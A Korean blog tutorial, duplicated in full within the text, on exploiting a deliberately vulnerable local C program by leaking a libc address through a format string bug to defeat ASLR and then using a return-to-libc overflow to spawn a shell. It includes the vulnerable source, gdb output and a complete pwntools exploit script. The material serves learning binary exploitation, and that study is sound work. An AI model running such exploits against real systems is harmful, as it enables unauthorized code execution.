바이너리 분석 3 - FSB, RTL ( NX-bit, ALSR bypass ) 본문

카테고리 없음

바이너리 분석 3 - FSB, RTL ( NX-bit, ALSR bypass )

disso1p1 2020. 8. 27. 21:35

 

 

[코드]

// gcc -o test code.c -fno-stack-protector -z norelro
#include <stdio.h>

void setup()
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
}

int main(void)
{
	setup();
	
	char buf[0x100];

	printf("What's your name? : "); 
        gets(buf); // Buffer Overflow 1

	printf("Hello, ");
	printf(buf); // Format String Bug
	printf("!!!\n");

	printf("Last greeting : ");
	gets(buf); // Buffer Overflow 2

	return 0;
}

 

이전 글( https://disso1p1.tistory.com/40 ) 의 코드와 같지만 ALSR 기법을 적용시켰다.

 

ALSR 기법을 적용시키면 전과 달리 libc 에 있는 주소를 leak 해야 한다.

libc 에 있는 주소를 leak 하면 같은 libc 는 모두 같은 offset 을 갖기 때문에 libc base 주소를 찾을 수 있고, 찾은 libc base 주소로 libc 에 있는 모든 것을 사용할 수 있게 된다.

 

leak 할 방법은 여러가지 있지만, 이 코드에서는 FSB 가 발생하기 때문에 FSB 을 이용해 주소를 leak 할 수 있다.

 

 

 

1. 첫번째 gets() 함수에 포맷스트링을 적절히 사용해 return address 를 leak 한다.

2. leak 한 주소로 libc base 주소를 구하고, system() 함수의 주소와 libc 내부에 있는 문자열 "/bin/sh" 의 주소를 구한다.

3. 두번째 gets() 함수에서 2번에서 구한 주소들로 RTL 기법을 사용하여 system("/bin/sh"); 을 실행한다.\

 

 

 

1. 포맷스트링 적절히 사용하기

What's your name? : aaaaaaaa.%p.%p.%p.%p.%p.%p.%p 
Hello, aaaaaaaa.0x7fff62c7cbd0.0x7f4af9bc1780.0x7f4af98f2380.0x7f4af9dcd700.0x7.0x6161616161616161.0x252e70252e70252e!!!
Last greeting : 

Format string 을 사용하면 6번째 인자에 우리가 입력한 aaaaaaaa(0x6161616161616161) 이 나온 것을 알 수 있다.

즉, 6번째 인자부터 buf 시작 주소임을 알 수 있다.

 

 

extra - 0x6161616161616161 앞에 나온 더미 값은 어디서 나온걸까 ?

디버깅을 해보면,

gdb-peda$ r
Starting program: /home/disso1p1/Desktop/layer7/aslr/test 
What's your name? : aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p
Hello, 
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b04380 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x7fffffffb4b0 ("Hello, your name? : ")
RDI: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RIP: 0x40073d (<main+86>:	call   0x400540 <printf@plt>)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x7 
R10: 0x57 ('W')
R11: 0x246 
R12: 0x400590 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40072e <main+71>:	lea    rax,[rbp-0x100]
   0x400735 <main+78>:	mov    rdi,rax
   0x400738 <main+81>:	mov    eax,0x0
=> 0x40073d <main+86>:	call   0x400540 <printf@plt>
   0x400742 <main+91>:	mov    edi,0x400821
   0x400747 <main+96>:	call   0x400530 <puts@plt>
   0x40074c <main+101>:	mov    edi,0x400825
   0x400751 <main+106>:	mov    eax,0x0
Guessed arguments:
arg[0]: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0x7fffffffdb48 (".%p.%p.%p.%p.%p.%p.%p.%p")
0016| 0x7fffffffdb50 ("p.%p.%p.%p.%p.%p")
0024| 0x7fffffffdb58 ("%p.%p.%p")
0032| 0x7fffffffdb60 --> 0x0 
0040| 0x7fffffffdb68 --> 0x0 
0048| 0x7fffffffdb70 --> 0x0 
0056| 0x7fffffffdb78 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040073d in main ()
gdb-peda$ ni
aaaaaaaa.0x7fffffffb4b0.0x7ffff7dd3780.0x7ffff7b04380.0x7ffff7fda700.0x7.0x6161616161616161.0x252e70252e70252e.0x2e70252e70252e70






[----------------------------------registers-----------------------------------]
RAX: 0x81 
RBX: 0x0 
RCX: 0x7ffff7b04380 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x7fffffffb4b0 ("aaaaaaaa.0x7fffffffb4b0.0x7ffff7dd3780.0x7ffff7b04380.0x7ffff7fda700.0x7.0x6161616161616161.0x252e70252e70252e.0x2e70252e70252e70")
RDI: 0x1 
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RIP: 0x400742 (<main+91>:	mov    edi,0x400821)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x81 
R10: 0x0 
R11: 0x246 
R12: 0x400590 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400735 <main+78>:	mov    rdi,rax
   0x400738 <main+81>:	mov    eax,0x0
   0x40073d <main+86>:	call   0x400540 <printf@plt>
=> 0x400742 <main+91>:	mov    edi,0x400821
   0x400747 <main+96>:	call   0x400530 <puts@plt>
   0x40074c <main+101>:	mov    edi,0x400825
   0x400751 <main+106>:	mov    eax,0x0
   0x400756 <main+111>:	call   0x400540 <printf@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0x7fffffffdb48 (".%p.%p.%p.%p.%p.%p.%p.%p")
0016| 0x7fffffffdb50 ("p.%p.%p.%p.%p.%p")
0024| 0x7fffffffdb58 ("%p.%p.%p")
0032| 0x7fffffffdb60 --> 0x0 
0040| 0x7fffffffdb68 --> 0x0 
0048| 0x7fffffffdb70 --> 0x0 
0056| 0x7fffffffdb78 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400742 in main ()
gdb-peda$ 

 각각 rsi, rdx, rcx, r8, r9, stack 의 값이 출력되는 것을 알 수 있다.

64bit 의 인자 대로 출력되는 것이다.

rdi 는 첫번째 인자인 buf 에 있는 문자열이 되겠다.

 

 

다시 본론으로 돌아가서,

gdb-peda$ x/40gx $rbp-0x100
0x7fffffffdb40:	0x6161616161616161	0x800000702436252e
0x7fffffffdb50:	0x0000000000000000	0x0000000000000000
0x7fffffffdb60:	0x0000000000000000	0x0000000000000000
0x7fffffffdb70:	0x0000000000000000	0x0000000000000000
0x7fffffffdb80:	0x00007fffffffdb01	0x000004ded88e6df8
0x7fffffffdb90:	0x0000000000000000	0x0000000000000000
0x7fffffffdba0:	0x0000000000000000	0x0000000000000000
0x7fffffffdbb0:	0x0000000000000000	0x0000000000000000
0x7fffffffdbc0:	0x00007fffffffdd38	0x0000000000000000
0x7fffffffdbd0:	0x0000000000000001	0x00007fffffffdd38
0x7fffffffdbe0:	0x0000000000000001	0x00007fffffffdc60
0x7fffffffdbf0:	0x00007ffff7ffe168	0x0000000000f0b5ff
0x7fffffffdc00:	0x0000000000000001	0x00000000004007cd
0x7fffffffdc10:	0x00007fffffffdc3e	0x0000000000000000
0x7fffffffdc20:	0x0000000000400780	0x0000000000400590
0x7fffffffdc30:	0x00007fffffffdd20	0x0000000000000000
0x7fffffffdc40:	0x0000000000400780	0x00007ffff7a2d840
0x7fffffffdc50:	0x0000000000000001	0x00007fffffffdd28
0x7fffffffdc60:	0x00000001f7ffcca0	0x00000000004006e7
0x7fffffffdc70:	0x0000000000000000	0xd13079565e7cd618
gdb-peda$ 

 

포맷스트링을 사용할 때 유용한 것 : %n$p <- n 번째를 인자로 한다.

 

rbp - 0x100 이 buf 의 시작주소이므로 return address ( rbp + 0x8 ) 는 %p 가 8bytes 씩이므로 0x110 / 8  인 34 에 아까 앞에 출력된 레지스터 값 5번 을 더하면, 34 + 5 = 39 가 나온다.

 

즉, %39$p 를 하면 return address 를 leak 해준다.

 

 

 

2. leak 한 주소로 나머지 주소 구하기.

gdb-peda$ r
Starting program: /home/disso1p1/Desktop/layer7/aslr/test 
What's your name? : %39$p
Hello, 0x7ffff7a2d840
[----------------------------------registers-----------------------------------]
RAX: 0xe 
RBX: 0x0 
RCX: 0x7ffff7b04380 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x7fffffffb4b0 ("0x7ffff7a2d840me? : ")
RDI: 0x1 
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdb40 --> 0x7024393325 ('%39$p')
RIP: 0x400742 (<main+91>:	mov    edi,0x400821)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0xe 
R10: 0x78 ('x')
R11: 0x246 
R12: 0x400590 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400735 <main+78>:	mov    rdi,rax
   0x400738 <main+81>:	mov    eax,0x0
   0x40073d <main+86>:	call   0x400540 <printf@plt>
=> 0x400742 <main+91>:	mov    edi,0x400821
   0x400747 <main+96>:	call   0x400530 <puts@plt>
   0x40074c <main+101>:	mov    edi,0x400825
   0x400751 <main+106>:	mov    eax,0x0
   0x400756 <main+111>:	call   0x400540 <printf@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 --> 0x7024393325 ('%39$p')
0008| 0x7fffffffdb48 --> 0x800000000000000e 
0016| 0x7fffffffdb50 --> 0x0 
0024| 0x7fffffffdb58 --> 0x0 
0032| 0x7fffffffdb60 --> 0x0 
0040| 0x7fffffffdb68 --> 0x0 
0048| 0x7fffffffdb70 --> 0x0 
0056| 0x7fffffffdb78 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000000000400742 in main ()
gdb-peda$ x/x 0x7ffff7a2d840
0x7ffff7a2d840 <__libc_start_main+240>:	0x31000197f9e8c789
gdb-peda$ 

 

return address 인 0x7ffff7a2d840 은 __libc_start_main+240 이다.

__libc_start_main 은 libc 내부에 있는 함수이다.

즉, leak 한 return address 에서 (__libc_start_main 의 offset 값 + 240) 을 빼면 libc base 가 나온다.

 

구한 libc base 로 system() 함수의 offset 값을 더한 주소가 system() 함수의 실제 주소일 것이고, "/bin/sh" 도 마찬가지 이다.

 

offset 값은 pwntools 로 쉽게 구할 수 있다.

 

 

[exploit]

from pwn import *

p = process('./test')
e = ELF('./test')
libc = e.libc

p.sendlineafter(': ', '%39$p')

p.recvuntil('Hello, ')
leak = int(p.recv(14), 16) - (libc.symbols["__libc_start_main"] + 240)

system = leak + libc.symbols['system']
binsh = leak + list(libc.search('/bin/sh'))[0]

prdi = 0x00000000004007e3

log.info("libc base : " + hex(leak))
log.info("system : " + hex(system))
log.info("/bin/sh : " + hex(binsh))

pay = ''
pay += 'A'*0x108
pay += p64(prdi)
pay += p64(binsh)
pay += p64(system)

pause()

p.sendlineafter(': ', pay)

p.interactive()

 

>,,<

 

 

[코드]

// gcc -o test code.c -fno-stack-protector -z norelro
#include <stdio.h>

void setup()
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
}

int main(void)
{
	setup();
	
	char buf[0x100];

	printf("What's your name? : "); 
        gets(buf); // Buffer Overflow 1

	printf("Hello, ");
	printf(buf); // Format String Bug
	printf("!!!\n");

	printf("Last greeting : ");
	gets(buf); // Buffer Overflow 2

	return 0;
}

 

이전 글( https://disso1p1.tistory.com/40 ) 의 코드와 같지만 ALSR 기법을 적용시켰다.

 

ALSR 기법을 적용시키면 전과 달리 libc 에 있는 주소를 leak 해야 한다.

libc 에 있는 주소를 leak 하면 같은 libc 는 모두 같은 offset 을 갖기 때문에 libc base 주소를 찾을 수 있고, 찾은 libc base 주소로 libc 에 있는 모든 것을 사용할 수 있게 된다.

 

leak 할 방법은 여러가지 있지만, 이 코드에서는 FSB 가 발생하기 때문에 FSB 을 이용해 주소를 leak 할 수 있다.

 

 

 

1. 첫번째 gets() 함수에 포맷스트링을 적절히 사용해 return address 를 leak 한다.

2. leak 한 주소로 libc base 주소를 구하고, system() 함수의 주소와 libc 내부에 있는 문자열 "/bin/sh" 의 주소를 구한다.

3. 두번째 gets() 함수에서 2번에서 구한 주소들로 RTL 기법을 사용하여 system("/bin/sh"); 을 실행한다.\

 

 

 

1. 포맷스트링 적절히 사용하기

What's your name? : aaaaaaaa.%p.%p.%p.%p.%p.%p.%p 
Hello, aaaaaaaa.0x7fff62c7cbd0.0x7f4af9bc1780.0x7f4af98f2380.0x7f4af9dcd700.0x7.0x6161616161616161.0x252e70252e70252e!!!
Last greeting : 

Format string 을 사용하면 6번째 인자에 우리가 입력한 aaaaaaaa(0x6161616161616161) 이 나온 것을 알 수 있다.

즉, 6번째 인자부터 buf 시작 주소임을 알 수 있다.

 

 

extra - 0x6161616161616161 앞에 나온 더미 값은 어디서 나온걸까 ?

디버깅을 해보면,

gdb-peda$ r
Starting program: /home/disso1p1/Desktop/layer7/aslr/test 
What's your name? : aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p
Hello, 
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b04380 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x7fffffffb4b0 ("Hello, your name? : ")
RDI: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RIP: 0x40073d (<main+86>:	call   0x400540 <printf@plt>)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x7 
R10: 0x57 ('W')
R11: 0x246 
R12: 0x400590 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40072e <main+71>:	lea    rax,[rbp-0x100]
   0x400735 <main+78>:	mov    rdi,rax
   0x400738 <main+81>:	mov    eax,0x0
=> 0x40073d <main+86>:	call   0x400540 <printf@plt>
   0x400742 <main+91>:	mov    edi,0x400821
   0x400747 <main+96>:	call   0x400530 <puts@plt>
   0x40074c <main+101>:	mov    edi,0x400825
   0x400751 <main+106>:	mov    eax,0x0
Guessed arguments:
arg[0]: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0x7fffffffdb48 (".%p.%p.%p.%p.%p.%p.%p.%p")
0016| 0x7fffffffdb50 ("p.%p.%p.%p.%p.%p")
0024| 0x7fffffffdb58 ("%p.%p.%p")
0032| 0x7fffffffdb60 --> 0x0 
0040| 0x7fffffffdb68 --> 0x0 
0048| 0x7fffffffdb70 --> 0x0 
0056| 0x7fffffffdb78 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040073d in main ()
gdb-peda$ ni
aaaaaaaa.0x7fffffffb4b0.0x7ffff7dd3780.0x7ffff7b04380.0x7ffff7fda700.0x7.0x6161616161616161.0x252e70252e70252e.0x2e70252e70252e70






[----------------------------------registers-----------------------------------]
RAX: 0x81 
RBX: 0x0 
RCX: 0x7ffff7b04380 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x7fffffffb4b0 ("aaaaaaaa.0x7fffffffb4b0.0x7ffff7dd3780.0x7ffff7b04380.0x7ffff7fda700.0x7.0x6161616161616161.0x252e70252e70252e.0x2e70252e70252e70")
RDI: 0x1 
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
RIP: 0x400742 (<main+91>:	mov    edi,0x400821)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x81 
R10: 0x0 
R11: 0x246 
R12: 0x400590 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400735 <main+78>:	mov    rdi,rax
   0x400738 <main+81>:	mov    eax,0x0
   0x40073d <main+86>:	call   0x400540 <printf@plt>
=> 0x400742 <main+91>:	mov    edi,0x400821
   0x400747 <main+96>:	call   0x400530 <puts@plt>
   0x40074c <main+101>:	mov    edi,0x400825
   0x400751 <main+106>:	mov    eax,0x0
   0x400756 <main+111>:	call   0x400540 <printf@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 ("aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0x7fffffffdb48 (".%p.%p.%p.%p.%p.%p.%p.%p")
0016| 0x7fffffffdb50 ("p.%p.%p.%p.%p.%p")
0024| 0x7fffffffdb58 ("%p.%p.%p")
0032| 0x7fffffffdb60 --> 0x0 
0040| 0x7fffffffdb68 --> 0x0 
0048| 0x7fffffffdb70 --> 0x0 
0056| 0x7fffffffdb78 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400742 in main ()
gdb-peda$ 

 각각 rsi, rdx, rcx, r8, r9, stack 의 값이 출력되는 것을 알 수 있다.

64bit 의 인자 대로 출력되는 것이다.

rdi 는 첫번째 인자인 buf 에 있는 문자열이 되겠다.

 

 

다시 본론으로 돌아가서,

gdb-peda$ x/40gx $rbp-0x100
0x7fffffffdb40:	0x6161616161616161	0x800000702436252e
0x7fffffffdb50:	0x0000000000000000	0x0000000000000000
0x7fffffffdb60:	0x0000000000000000	0x0000000000000000
0x7fffffffdb70:	0x0000000000000000	0x0000000000000000
0x7fffffffdb80:	0x00007fffffffdb01	0x000004ded88e6df8
0x7fffffffdb90:	0x0000000000000000	0x0000000000000000
0x7fffffffdba0:	0x0000000000000000	0x0000000000000000
0x7fffffffdbb0:	0x0000000000000000	0x0000000000000000
0x7fffffffdbc0:	0x00007fffffffdd38	0x0000000000000000
0x7fffffffdbd0:	0x0000000000000001	0x00007fffffffdd38
0x7fffffffdbe0:	0x0000000000000001	0x00007fffffffdc60
0x7fffffffdbf0:	0x00007ffff7ffe168	0x0000000000f0b5ff
0x7fffffffdc00:	0x0000000000000001	0x00000000004007cd
0x7fffffffdc10:	0x00007fffffffdc3e	0x0000000000000000
0x7fffffffdc20:	0x0000000000400780	0x0000000000400590
0x7fffffffdc30:	0x00007fffffffdd20	0x0000000000000000
0x7fffffffdc40:	0x0000000000400780	0x00007ffff7a2d840
0x7fffffffdc50:	0x0000000000000001	0x00007fffffffdd28
0x7fffffffdc60:	0x00000001f7ffcca0	0x00000000004006e7
0x7fffffffdc70:	0x0000000000000000	0xd13079565e7cd618
gdb-peda$ 

 

포맷스트링을 사용할 때 유용한 것 : %n$p <- n 번째를 인자로 한다.

 

rbp - 0x100 이 buf 의 시작주소이므로 return address ( rbp + 0x8 ) 는 %p 가 8bytes 씩이므로 0x110 / 8  인 34 에 아까 앞에 출력된 레지스터 값 5번 을 더하면, 34 + 5 = 39 가 나온다.

 

즉, %39$p 를 하면 return address 를 leak 해준다.

 

 

 

2. leak 한 주소로 나머지 주소 구하기.

gdb-peda$ r
Starting program: /home/disso1p1/Desktop/layer7/aslr/test 
What's your name? : %39$p
Hello, 0x7ffff7a2d840
[----------------------------------registers-----------------------------------]
RAX: 0xe 
RBX: 0x0 
RCX: 0x7ffff7b04380 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x7fffffffb4b0 ("0x7ffff7a2d840me? : ")
RDI: 0x1 
RBP: 0x7fffffffdc40 --> 0x400780 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdb40 --> 0x7024393325 ('%39$p')
RIP: 0x400742 (<main+91>:	mov    edi,0x400821)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0xe 
R10: 0x78 ('x')
R11: 0x246 
R12: 0x400590 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd20 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400735 <main+78>:	mov    rdi,rax
   0x400738 <main+81>:	mov    eax,0x0
   0x40073d <main+86>:	call   0x400540 <printf@plt>
=> 0x400742 <main+91>:	mov    edi,0x400821
   0x400747 <main+96>:	call   0x400530 <puts@plt>
   0x40074c <main+101>:	mov    edi,0x400825
   0x400751 <main+106>:	mov    eax,0x0
   0x400756 <main+111>:	call   0x400540 <printf@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb40 --> 0x7024393325 ('%39$p')
0008| 0x7fffffffdb48 --> 0x800000000000000e 
0016| 0x7fffffffdb50 --> 0x0 
0024| 0x7fffffffdb58 --> 0x0 
0032| 0x7fffffffdb60 --> 0x0 
0040| 0x7fffffffdb68 --> 0x0 
0048| 0x7fffffffdb70 --> 0x0 
0056| 0x7fffffffdb78 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000000000400742 in main ()
gdb-peda$ x/x 0x7ffff7a2d840
0x7ffff7a2d840 <__libc_start_main+240>:	0x31000197f9e8c789
gdb-peda$ 

 

return address 인 0x7ffff7a2d840 은 __libc_start_main+240 이다.

__libc_start_main 은 libc 내부에 있는 함수이다.

즉, leak 한 return address 에서 (__libc_start_main 의 offset 값 + 240) 을 빼면 libc base 가 나온다.

 

구한 libc base 로 system() 함수의 offset 값을 더한 주소가 system() 함수의 실제 주소일 것이고, "/bin/sh" 도 마찬가지 이다.

 

offset 값은 pwntools 로 쉽게 구할 수 있다.

 

 

[exploit]

from pwn import *

p = process('./test')
e = ELF('./test')
libc = e.libc

p.sendlineafter(': ', '%39$p')

p.recvuntil('Hello, ')
leak = int(p.recv(14), 16) - (libc.symbols["__libc_start_main"] + 240)

system = leak + libc.symbols['system']
binsh = leak + list(libc.search('/bin/sh'))[0]

prdi = 0x00000000004007e3

log.info("libc base : " + hex(leak))
log.info("system : " + hex(system))
log.info("/bin/sh : " + hex(binsh))

pay = ''
pay += 'A'*0x108
pay += p64(prdi)
pay += p64(binsh)
pay += p64(system)

pause()

p.sendlineafter(': ', pay)

p.interactive()

 

>,,<

Comments